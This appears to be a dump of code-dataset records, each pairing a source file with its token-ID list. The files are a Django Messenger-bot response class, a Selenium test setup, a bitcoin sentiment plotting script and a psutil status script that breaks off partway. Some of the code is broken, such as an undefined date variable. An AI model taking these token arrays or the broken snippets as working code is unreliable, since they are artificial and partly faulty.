from django.http import HttpResponse, JsonResponse
from messenger.utils.response.ResponseTypes.QuickReplyResponse import QuickReplyResponse
from messenger.utils.response.ResponseTypes.TextResponse import TextResponse
from django.conf import settings
def value_validator(variables, values):
"""
1. Checks if "values" is of type <dict>
2. Checks if all variables are present in the values <dict>
:param variables: <list>
:param values: <dict>
:raise: InvalidTemplateValues, IncompleteTemplateValues
:return None
"""
return None
# if type(values) is not dict:
# raise InvalidTemplateValues(values)
# elif set(variables) != set(dict.keys(values)):
# raise IncompleteTemplateValues([v for v in variables if v not in values])
class Response(object):
"""
Response class for chat data and text templating.
"""
def __init__(self, data, page_access_token=None):
"""
:param data: message data
"""
self.params = {"access_token": page_access_token}
self.headers = {"Content-Type": "application/json"}
self.data = {"recipient": {"id": None}, "message": {}}
self.text = TextResponse(data["text"]) \
if "text" in data else None
self.quick_replies = QuickReplyResponse(data["quick_replies"]) \
if "quick_replies" in data else None
self.attachments = data.get("attachments", {})
def add_recipient_id(self, recipient_id):
"""
Adds the chat receivers id to instance
:param recipient_id: facebook_id of a chat participant
"""
self.data["recipient"]["id"] = recipient_id
def send_to(self, recipient_id, page_access_token, node_name):
"""
Orders messages before sending
:param recipient_id: facebook_id of a chat participant
"""
self.params = {"access_token": page_access_token}
self.add_recipient_id(recipient_id)
r = None
if self.quick_replies and self.text: # If quick_replies and text
r = self.send(self.data["message"], ["quick_replies", "text"], recipient_id) # are both present send both
elif self.text:
# send text if quick_replies
r = self.send(self.data["message"], ["text"], recipient_id) # are not present
if self.attachments: # Send attachments alone
r = self.send(self.data["message"], ["attachment"], recipient_id)
# always, in compatible with
# text and quick_replies
self.data['intent'] = node_name
return JsonResponse(self.data)
def extract_message(self, text_response_data=None, quick_reply_response_data=None, attachment_response_data=None):
"""
Evaluate template strings in text/quick_replies/attachments and convert them to a value.
:param text_response_data:
:param quick_reply_response_data:
:param attachment_response_data:
:rtype: Response
"""
if self.text:
self.data["message"]["text"] = self.text.eval(text_response_data)
if self.quick_replies:
self.data["message"]["quick_replies"] = self.quick_replies.eval(quick_reply_response_data)
if self.attachments:
if attachment_response_data:
stringified_attachments = json.dumps(self.attachments)
for item in attachment_response_data:
stringified_attachments = stringified_attachments.replace('{}', str(item), 1)
self.attachments = json.loads(stringified_attachments)
print('*' * 100)
self.data["message"]["attachment"] = self.attachments
return self
def send(self, message, types, recipient_id):
"""
HTTP Request to facebook endpoint to send messages
:param message:
:param types:
:param recipient_id:
:return:
"""
data = {
"recipient": {
"id": recipient_id
},
"message": {
type: message[type] for type in types
}
}
if self.params.get('access_token'):
# r = requests.post(
# "https://graph.facebook.com/v4.0/me/messages",
# params=self.params,
# headers=self.headers,
# data=json.dumps(data)
# )
# print(r.text)
return JsonResponse(data, status=200)
else:
return JsonResponse({}, status=200)
| [
11748,
33918,
198,
11748,
28686,
198,
11748,
4738,
198,
198,
11748,
7007,
198,
6738,
42625,
14208,
62,
16302,
1330,
6460,
198,
6738,
42625,
14208,
13,
4023,
1330,
367,
29281,
31077,
11,
449,
1559,
31077,
198,
198,
6738,
31228,
13,
26791,
13,
26209,
13,
31077,
31431,
13,
21063,
36875,
31077,
1330,
12029,
36875,
31077,
198,
6738,
31228,
13,
26791,
13,
26209,
13,
31077,
31431,
13,
8206,
31077,
1330,
8255,
31077,
198,
6738,
42625,
14208,
13,
10414,
1330,
6460,
628,
198,
4299,
1988,
62,
12102,
1352,
7,
25641,
2977,
11,
3815,
2599,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
352,
13,
47719,
611,
366,
27160,
1,
318,
286,
2099,
1279,
11600,
29,
198,
220,
220,
220,
362,
13,
47719,
611,
477,
9633,
389,
1944,
287,
262,
3815,
1279,
11600,
29,
198,
220,
220,
220,
1058,
17143,
9633,
25,
1279,
4868,
29,
198,
220,
220,
220,
1058,
17143,
3815,
25,
1279,
11600,
29,
198,
220,
220,
220,
1058,
40225,
25,
17665,
30800,
40161,
11,
554,
20751,
30800,
40161,
198,
220,
220,
220,
1058,
7783,
6045,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
1441,
6045,
198,
220,
220,
220,
1303,
611,
2099,
7,
27160,
8,
318,
407,
8633,
25,
198,
220,
220,
220,
1303,
220,
220,
220,
220,
5298,
17665,
30800,
40161,
7,
27160,
8,
198,
220,
220,
220,
1303,
1288,
361,
900,
7,
25641,
2977,
8,
14512,
900,
7,
11600,
13,
13083,
7,
27160,
8,
2599,
198,
220,
220,
220,
1303,
220,
220,
220,
220,
5298,
554,
20751,
30800,
40161,
26933,
85,
329,
410,
287,
9633,
611,
410,
407,
287,
3815,
12962,
628,
198,
4871,
18261,
7,
15252,
2599,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
18261,
1398,
329,
8537,
1366,
290,
2420,
2169,
489,
803,
13,
198,
220,
220,
220,
37227,
628,
220,
220,
220,
825,
11593,
15003,
834,
7,
944,
11,
1366,
11,
2443,
62,
15526,
62,
30001,
28,
14202,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
1366,
25,
3275,
1366,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
37266,
796,
19779,
15526,
62,
30001,
1298,
2443,
62,
15526,
62,
30001,
92,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
50145,
796,
19779,
19746,
12,
6030,
1298,
366,
31438,
14,
17752,
20662,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
7890,
796,
19779,
8344,
48137,
1298,
19779,
312,
1298,
6045,
5512,
366,
20500,
1298,
1391,
11709,
628,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
5239,
796,
8255,
31077,
7,
7890,
14692,
5239,
8973,
8,
3467,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
366,
5239,
1,
287,
1366,
2073,
6045,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
24209,
62,
35666,
444,
796,
12029,
36875,
31077,
7,
7890,
14692,
24209,
62,
35666,
444,
8973,
8,
3467,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
366,
24209,
62,
35666,
444,
1,
287,
1366,
2073,
6045,
628,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
47348,
902,
796,
1366,
13,
1136,
7203,
47348,
902,
1600,
23884,
8,
628,
220,
220,
220,
825,
751,
62,
8344,
48137,
62,
312,
7,
944,
11,
17800,
62,
312,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
34333,
262,
8537,
19137,
4686,
284,
4554,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
17800,
62,
312,
25,
23960,
62,
312,
286,
257,
8537,
18399,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
7890,
14692,
8344,
48137,
1,
7131,
1,
312,
8973,
796,
17800,
62,
312,
628,
220,
220,
220,
825,
3758,
62,
1462,
7,
944,
11,
17800,
62,
312,
11,
2443,
62,
15526,
62,
30001,
11,
10139,
62,
3672,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
30689,
6218,
878,
7216,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
17800,
62,
312,
25,
23960,
62,
312,
286,
257,
8537,
18399,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
37266,
796,
19779,
15526,
62,
30001,
1298,
2443,
62,
15526,
62,
30001,
92,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
2860,
62,
8344,
48137,
62,
312,
7,
8344,
48137,
62,
312,
8,
198,
220,
220,
220,
220,
220,
220,
220,
374,
796,
6045,
628,
220,
220,
220,
220,
220,
220,
220,
611,
2116,
13,
24209,
62,
35666,
444,
290,
2116,
13,
5239,
25,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
1002,
2068,
62,
35666,
444,
290,
2420,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
374,
796,
2116,
13,
21280,
7,
944,
13,
7890,
14692,
20500,
33116,
14631,
24209,
62,
35666,
444,
1600,
366,
5239,
33116,
17800,
62,
312,
8,
220,
220,
220,
1303,
389,
1111,
1944,
3758,
1111,
628,
220,
220,
220,
220,
220,
220,
220,
1288,
361,
2116,
13,
5239,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3758,
2420,
611,
2068,
62,
35666,
444,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
374,
796,
2116,
13,
21280,
7,
944,
13,
7890,
14692,
20500,
33116,
14631,
5239,
33116,
17800,
62,
312,
8,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
389,
407,
1944,
628,
220,
220,
220,
220,
220,
220,
220,
611,
2116,
13,
47348,
902,
25,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
16290,
32161,
3436,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
374,
796,
2116,
13,
21280,
7,
944,
13,
7890,
14692,
20500,
33116,
14631,
1078,
15520,
33116,
17800,
62,
312,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
1464,
11,
287,
11670,
351,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
2420,
290,
2068,
62,
35666,
444,
628,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
7890,
17816,
48536,
20520,
796,
10139,
62,
3672,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
449,
1559,
31077,
7,
944,
13,
7890,
8,
628,
220,
220,
220,
825,
7925,
62,
20500,
7,
944,
11,
2420,
62,
26209,
62,
7890,
28,
14202,
11,
2068,
62,
47768,
62,
26209,
62,
7890,
28,
14202,
11,
18231,
62,
26209,
62,
7890,
28,
14202,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
26439,
4985,
11055,
13042,
287,
2420,
14,
24209,
62,
35666,
444,
14,
47348,
902,
290,
10385,
606,
284,
257,
1988,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
2420,
62,
26209,
62,
7890,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
2068,
62,
47768,
62,
26209,
62,
7890,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
18231,
62,
26209,
62,
7890,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
81,
4906,
25,
18261,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
628,
220,
220,
220,
220,
220,
220,
220,
611,
2116,
13,
5239,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
7890,
14692,
20500,
1,
7131,
1,
5239,
8973,
796,
2116,
13,
5239,
13,
18206,
7,
5239,
62,
26209,
62,
7890,
8,
628,
220,
220,
220,
220,
220,
220,
220,
611,
2116,
13,
24209,
62,
35666,
444,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
7890,
14692,
20500,
1,
7131,
1,
24209,
62,
35666,
444,
8973,
796,
2116,
13,
24209,
62,
35666,
444,
13,
18206,
7,
24209,
62,
47768,
62,
26209,
62,
7890,
8,
628,
220,
220,
220,
220,
220,
220,
220,
611,
2116,
13,
47348,
902,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
18231,
62,
26209,
62,
7890,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4731,
1431,
62,
47348,
902,
796,
33918,
13,
67,
8142,
7,
944,
13,
47348,
902,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
329,
2378,
287,
18231,
62,
26209,
62,
7890,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4731,
1431,
62,
47348,
902,
796,
4731,
1431,
62,
47348,
902,
13,
33491,
10786,
90,
92,
3256,
965,
7,
9186,
828,
352,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
47348,
902,
796,
33918,
13,
46030,
7,
8841,
1431,
62,
47348,
902,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3601,
10786,
9,
6,
1635,
1802,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
7890,
14692,
20500,
1,
7131,
1,
1078,
15520,
8973,
796,
2116,
13,
47348,
902,
628,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
628,
220,
220,
220,
825,
3758,
7,
944,
11,
3275,
11,
3858,
11,
17800,
62,
312,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
14626,
19390,
284,
23960,
36123,
284,
3758,
6218,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
3275,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
3858,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
17800,
62,
312,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
7783,
25,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
628,
220,
220,
220,
220,
220,
220,
220,
1366,
796,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
8344,
48137,
1298,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
312,
1298,
17800,
62,
312,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
8964,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
20500,
1298,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2099,
25,
3275,
58,
4906,
60,
329,
2099,
287,
3858,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1782,
198,
220,
220,
220,
220,
220,
220,
220,
1782,
628,
220,
220,
220,
220,
220,
220,
220,
611,
2116,
13,
37266,
13,
1136,
10786,
15526,
62,
30001,
6,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
374,
796,
7007,
13,
7353,
7,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
220,
220,
220,
220,
366,
5450,
1378,
34960,
13,
19024,
13,
785,
14,
85,
19,
13,
15,
14,
1326,
14,
37348,
1095,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
220,
220,
220,
220,
42287,
28,
944,
13,
37266,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
220,
220,
220,
220,
24697,
28,
944,
13,
50145,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
220,
220,
220,
220,
1366,
28,
17752,
13,
67,
8142,
7,
7890,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
1267,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
7,
81,
13,
5239,
8,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
449,
1559,
31077,
7,
7890,
11,
3722,
28,
2167,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
449,
1559,
31077,
15090,
5512,
3722,
28,
2167,
8,
198
] | 2.309073 | 2,061 |
# coding: utf-8
import os
from urllib.request import urlopen
import pytest
from selenium.webdriver import Firefox, ActionChains
from selenium.webdriver.common.by import By
from selenium.webdriver.firefox.options import Options
from selenium.webdriver.support.expected_conditions import staleness_of
from selenium.webdriver.support.wait import WebDriverWait
URL = 'http://localhost:8000/'
HEADLESS = not os.getenv('NO_HEADLESS')
try:
with urlopen(URL):
SERVER_RUNNING = True
except OSError:
SERVER_RUNNING = False
@pytest.fixture
@pytest.mark.skipif(not SERVER_RUNNING, reason='requires local server running')
| [
2,
19617,
25,
3384,
69,
12,
23,
198,
198,
11748,
28686,
198,
6738,
2956,
297,
571,
13,
25927,
1330,
19016,
9654,
198,
198,
11748,
12972,
9288,
198,
6738,
384,
11925,
1505,
13,
12384,
26230,
1330,
16802,
11,
7561,
1925,
1299,
198,
6738,
384,
11925,
1505,
13,
12384,
26230,
13,
11321,
13,
1525,
1330,
2750,
198,
6738,
384,
11925,
1505,
13,
12384,
26230,
13,
6495,
12792,
13,
25811,
1330,
18634,
198,
6738,
384,
11925,
1505,
13,
12384,
26230,
13,
11284,
13,
40319,
62,
17561,
1756,
1330,
29049,
9449,
62,
1659,
198,
6738,
384,
11925,
1505,
13,
12384,
26230,
13,
11284,
13,
17077,
1330,
5313,
32103,
21321,
198,
198,
21886,
796,
705,
4023,
1378,
36750,
25,
33942,
14,
6,
198,
37682,
48481,
796,
407,
28686,
13,
1136,
24330,
10786,
15285,
62,
37682,
48481,
11537,
198,
28311,
25,
198,
220,
220,
220,
351,
19016,
9654,
7,
21886,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
18871,
5959,
62,
49,
4944,
15871,
796,
6407,
198,
16341,
440,
5188,
81,
1472,
25,
198,
220,
220,
220,
18871,
5959,
62,
49,
4944,
15871,
796,
10352,
628,
198,
31,
9078,
9288,
13,
69,
9602,
628,
198,
31,
9078,
9288,
13,
4102,
13,
48267,
361,
7,
1662,
18871,
5959,
62,
49,
4944,
15871,
11,
1738,
11639,
47911,
1957,
4382,
2491,
11537,
198
] | 2.939535 | 215 |
import pandas as pd
from sklearn.cluster import KMeans
import numpy as np
import matplotlib.pyplot as plt
from datetime import datetime, date, time, timedelta
import re
import pickle
import time as tm
df = pd.read_csv("bitcoin_auto.csv", dtype={"COMPOUND": float})
df = df.drop_duplicates()
# print(df.head())
df.info()
# tm.sleep(120)
# Handle missing data
# df['COMPOUND'] = df['COMPOUND'].fillna(0)
# today_date = datetime.today()
# event_date = datetime(2018, 4, 13, 21, 0, 0) # Date of Syria bombing announcement
# event_date = datetime(2018, 6, 12, 12, 0, 0) # Date of Korean Summit
# print(event_date)
temp_list = []
for index, row in df.iterrows():
f_date = row['DATE'][4:20]
year = row['DATE'][26:]
f_date = f_date + year
# print(f_date)
regex = re.findall(r"[a-zA-Z]|\d", f_date)
f_date = "".join(regex)
datetime_object = datetime.strptime(f_date, '%b%d%H%M%S%Y')
# print(datetime_object)
t = today_date - datetime_object
# print(t)
temp_list.append(t)
df['T_minus'] = temp_list
f1 = []
f2 = []
for index, row in df.iterrows():
time = (row['T_minus'].days * 24) + (row['T_minus'].seconds/3600)
# time = row['T_minus'].seconds
f1.append(time)
print(time)
f2.append(row['COMPOUND'])
# print(row['COMPOUND'])
# print(len(f1))
# print(len(f2))
# Pickle arrays
f1_file = open('btc_hours_f1.pkl', 'wb')
f2_file = open('btc_hours_f2.pkl', 'wb')
pickle.dump(f1, f1_file)
pickle.dump(f2, f2_file)
# Plot Data
plt.xlabel('Time(hours)')
plt.ylabel('Compound sentiment score')
plt.scatter(f1, f2, c='black', s=1)
plt.show()
| [
201,
198,
11748,
19798,
292,
355,
279,
67,
201,
198,
6738,
1341,
35720,
13,
565,
5819,
1330,
509,
5308,
504,
201,
198,
11748,
299,
32152,
355,
45941,
201,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
201,
198,
6738,
4818,
8079,
1330,
4818,
8079,
11,
3128,
11,
640,
11,
28805,
12514,
201,
198,
11748,
302,
201,
198,
11748,
2298,
293,
201,
198,
11748,
640,
355,
256,
76,
201,
198,
201,
198,
201,
198,
7568,
796,
279,
67,
13,
961,
62,
40664,
7203,
35395,
62,
23736,
13,
40664,
1600,
288,
4906,
28,
4895,
9858,
47,
15919,
1298,
12178,
30072,
201,
198,
7568,
796,
47764,
13,
14781,
62,
646,
489,
16856,
3419,
201,
198,
2,
3601,
7,
7568,
13,
2256,
28955,
201,
198,
7568,
13,
10951,
3419,
201,
198,
2,
256,
76,
13,
42832,
7,
10232,
8,
201,
198,
201,
198,
2,
33141,
4814,
1366,
201,
198,
2,
47764,
17816,
9858,
47,
15919,
20520,
796,
47764,
17816,
9858,
47,
15919,
6,
4083,
20797,
2616,
7,
15,
8,
201,
198,
201,
198,
201,
198,
2,
1909,
62,
4475,
796,
4818,
8079,
13,
40838,
3419,
201,
198,
2,
1785,
62,
4475,
796,
4818,
8079,
7,
7908,
11,
604,
11,
1511,
11,
2310,
11,
657,
11,
657,
8,
220,
1303,
7536,
286,
4392,
13471,
8009,
201,
198,
2,
1785,
62,
4475,
796,
4818,
8079,
7,
7908,
11,
718,
11,
1105,
11,
1105,
11,
657,
11,
657,
8,
220,
1303,
7536,
286,
6983,
20014,
201,
198,
2,
3601,
7,
15596,
62,
4475,
8,
201,
198,
201,
198,
201,
198,
29510,
62,
4868,
796,
17635,
201,
198,
1640,
6376,
11,
5752,
287,
47764,
13,
2676,
8516,
33529,
201,
198,
220,
220,
220,
277,
62,
4475,
796,
5752,
17816,
35,
6158,
6,
7131,
19,
25,
1238,
60,
201,
198,
220,
220,
220,
614,
796,
5752,
17816,
35,
6158,
6,
7131,
2075,
47715,
201,
198,
220,
220,
220,
277,
62,
4475,
796,
277,
62,
4475,
1343,
614,
201,
198,
220,
220,
220,
1303,
3601,
7,
69,
62,
4475,
8,
201,
198,
220,
220,
220,
40364,
796,
302,
13,
19796,
439,
7,
81,
17912,
64,
12,
89,
32,
12,
57,
60,
91,
59,
67,
1600,
277,
62,
4475,
8,
201,
198,
220,
220,
220,
277,
62,
4475,
796,
366,
1911,
22179,
7,
260,
25636,
8,
201,
198,
220,
220,
220,
4818,
8079,
62,
15252,
796,
4818,
8079,
13,
2536,
457,
524,
7,
69,
62,
4475,
11,
705,
4,
65,
4,
67,
4,
39,
4,
44,
4,
50,
4,
56,
11537,
201,
198,
220,
220,
220,
1303,
3601,
7,
19608,
8079,
62,
15252,
8,
201,
198,
220,
220,
220,
256,
796,
1909,
62,
4475,
532,
4818,
8079,
62,
15252,
201,
198,
220,
220,
220,
1303,
3601,
7,
83,
8,
201,
198,
220,
220,
220,
20218,
62,
4868,
13,
33295,
7,
83,
8,
201,
198,
201,
198,
7568,
17816,
51,
62,
40191,
20520,
796,
20218,
62,
4868,
201,
198,
69,
16,
796,
17635,
201,
198,
69,
17,
796,
17635,
201,
198,
1640,
6376,
11,
5752,
287,
47764,
13,
2676,
8516,
33529,
201,
198,
197,
2435,
796,
357,
808,
17816,
51,
62,
40191,
6,
4083,
12545,
1635,
1987,
8,
1343,
357,
808,
17816,
51,
62,
40191,
6,
4083,
43012,
14,
2623,
405,
8,
201,
198,
197,
2,
640,
796,
5752,
17816,
51,
62,
40191,
6,
4083,
43012,
220,
201,
198,
197,
69,
16,
13,
33295,
7,
2435,
8,
201,
198,
197,
4798,
7,
2435,
8,
201,
198,
197,
69,
17,
13,
33295,
7,
808,
17816,
9858,
47,
15919,
6,
12962,
201,
198,
197,
2,
3601,
7,
808,
17816,
9858,
47,
15919,
6,
12962,
201,
198,
201,
198,
2,
3601,
7,
11925,
7,
69,
16,
4008,
201,
198,
2,
3601,
7,
11925,
7,
69,
17,
4008,
201,
198,
201,
198,
2,
12346,
293,
26515,
201,
198,
69,
16,
62,
7753,
796,
1280,
10786,
18347,
66,
62,
24425,
62,
69,
16,
13,
79,
41582,
3256,
705,
39346,
11537,
201,
198,
69,
17,
62,
7753,
796,
1280,
10786,
18347,
66,
62,
24425,
62,
69,
17,
13,
79,
41582,
3256,
705,
39346,
11537,
201,
198,
27729,
293,
13,
39455,
7,
69,
16,
11,
277,
16,
62,
7753,
8,
201,
198,
27729,
293,
13,
39455,
7,
69,
17,
11,
277,
17,
62,
7753,
8,
201,
198,
201,
198,
2,
28114,
6060,
201,
198,
489,
83,
13,
87,
18242,
10786,
7575,
7,
24425,
8,
11537,
201,
198,
489,
83,
13,
2645,
9608,
10786,
7293,
633,
15598,
4776,
11537,
201,
198,
489,
83,
13,
1416,
1436,
7,
69,
16,
11,
277,
17,
11,
269,
11639,
13424,
3256,
264,
28,
16,
8,
201,
198,
489,
83,
13,
12860,
3419,
201,
198
] | 2.166448 | 763 |
from typing import Collection, Dict, Union
from modules import bar
from datetime import timedelta
import psutil
valid_fstypes = ["ntfs", "ext4", "ext3"]
def get_pc_status() -> Union[Dict[str, str], Dict[str, dict], Dict[str, str]]:
"""With the help of the psutil module, scanns the PC for information about all the drives, the memory and the battery, if it has one.
Returns disk, memory, battery in this order.
"""
disks = get_disk_status()
memory = {"RAM":psutil.virtual_memory()._asdict(), "SWAP": psutil.swap_memory()._asdict()}
battery = get_battery_status()
return disks, memory, battery
def get_graphical(bar_size, in_dict=False) -> Union[str, Dict[str, str]]:
"""Using the bar module, creates a visual representation of the system's status.
It shows the disks' and the momory's percentage, the used and the total space, and the battery's remaning lifetime, if it's pugged, and the battery's percentage.
"""
disks, memory, battery = get_pc_status()
bars = bar.loading_bar("", 100, size=bar_size, show="▓", off_show="░")
if battery != None:
bars.update(round(battery["percent"], 1), False)
battery["bar"] = bars.bar()
if in_dict:
d = {}
else:
string = ""
for mp, disk in disks.items():
bars.update(round(disk["percent"], 1), False)
dbar = bars.bar()
tmp = round(int(disk["total"]) / (1024 **3), 2)
total = f"{tmp} GiB"
tmp = round(int(disk["used"]) / (1024 **3), 2)
used = f"{tmp} GiB"
if in_dict:
d[f"{mp.upper()}"]=[total, used, dbar]
else:
string += f"{mp}: Max: {total}, used: {used}\n{dbar}\n"
for key in ["RAM", "SWAP"]:
tmp = round(int(memory[key]["used"]) / (1024 **3), 2)
used = f"{tmp} GiB"
tmp = round(int(memory[key]["total"]) / (1024 **3), 2)
_max = f"{tmp} GiB"
bars.update(round(memory[key]["percent"], 1), False)
_bar = bars.bar()
if in_dict:
d[key]=[_max, used, _bar]
else:
string += f"Max RAM memory: {_max} / Used memory: {used}\n{_bar}\n"
if battery == None:
if in_dict:
d['Battery']=["Not detected"]
else:
string += "Battery not detected!"
else:
tmp = "" if battery["power_plugged"] else "not "
if in_dict:
d["Battery"]=[timedelta(seconds=battery['secsleft']), f"The power is {tmp}plugged in", battery['bar']]
else:
string += f"Remaining battery life: {timedelta(seconds=battery['secsleft'])} and it's {tmp}plugged in.\nBattery status:\n {battery['bar']}"
if in_dict:
return d
else:
return string
if __name__ == "__main__" :
print(get_graphical(25))
| [
6738,
19720,
1330,
12251,
11,
360,
713,
11,
4479,
198,
6738,
13103,
1330,
2318,
198,
6738,
4818,
8079,
1330,
28805,
12514,
198,
11748,
26692,
22602,
198,
12102,
62,
69,
301,
9497,
796,
14631,
429,
9501,
1600,
366,
2302,
19,
1600,
366,
2302,
18,
8973,
198,
198,
4299,
651,
62,
14751,
62,
13376,
3419,
4613,
4479,
58,
35,
713,
58,
2536,
11,
965,
4357,
360,
713,
58,
2536,
11,
8633,
4357,
360,
713,
58,
2536,
11,
965,
60,
5974,
198,
220,
220,
220,
37227,
3152,
262,
1037,
286,
262,
26692,
22602,
8265,
11,
629,
1236,
82,
262,
4217,
329,
1321,
546,
477,
262,
10182,
11,
262,
4088,
290,
262,
6555,
11,
611,
340,
468,
530,
13,
198,
220,
220,
220,
16409,
11898,
11,
4088,
11,
6555,
287,
428,
1502,
13,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
32505,
796,
651,
62,
39531,
62,
13376,
3419,
198,
220,
220,
220,
4088,
796,
19779,
24115,
1298,
862,
22602,
13,
32844,
62,
31673,
22446,
62,
292,
11600,
22784,
366,
17887,
2969,
1298,
26692,
22602,
13,
2032,
499,
62,
31673,
22446,
62,
292,
11600,
3419,
92,
198,
220,
220,
220,
6555,
796,
651,
62,
65,
16296,
62,
13376,
3419,
198,
220,
220,
220,
1441,
32505,
11,
4088,
11,
6555,
198,
198,
4299,
651,
62,
34960,
605,
7,
5657,
62,
7857,
11,
287,
62,
11600,
28,
25101,
8,
4613,
4479,
58,
2536,
11,
360,
713,
58,
2536,
11,
965,
60,
5974,
198,
220,
220,
220,
37227,
12814,
262,
2318,
8265,
11,
8075,
257,
5874,
10552,
286,
262,
1080,
338,
3722,
13,
198,
220,
220,
220,
632,
2523,
262,
32505,
6,
290,
262,
1995,
652,
338,
5873,
11,
262,
973,
290,
262,
2472,
2272,
11,
290,
262,
6555,
338,
302,
805,
278,
10869,
11,
611,
340,
338,
279,
1018,
2004,
11,
290,
262,
6555,
338,
5873,
13,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
32505,
11,
4088,
11,
6555,
796,
651,
62,
14751,
62,
13376,
3419,
198,
220,
220,
220,
9210,
796,
2318,
13,
25138,
62,
5657,
7203,
1600,
1802,
11,
2546,
28,
5657,
62,
7857,
11,
905,
2625,
38626,
1600,
572,
62,
12860,
2625,
22110,
4943,
198,
220,
220,
220,
611,
6555,
14512,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
9210,
13,
19119,
7,
744,
7,
65,
16296,
14692,
25067,
33116,
352,
828,
